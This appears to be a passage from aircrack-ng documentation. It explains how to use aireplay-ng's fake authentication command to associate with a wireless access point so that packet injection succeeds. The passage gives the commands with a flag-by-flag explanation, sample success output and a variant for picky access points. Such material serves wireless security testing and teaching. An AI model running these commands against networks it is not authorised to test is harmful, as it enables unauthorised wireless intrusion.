The lack of association with the access point is the single biggest reason why injection fails.
To associate with an access point, use fake authentication:
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0
Where:
*
-1 means fake authentication
*
0 reassociation timing in seconds
*
-e teddy is the wireless network name
*
-a 00:14:6C:7E:40:80 is the access point MAC address
*
-h 00:09:5B:EC:EE:F2 is our card MAC addresss
*
ath0 is the wireless interface name
Success looks like:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
Or another variation for picky access points:
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0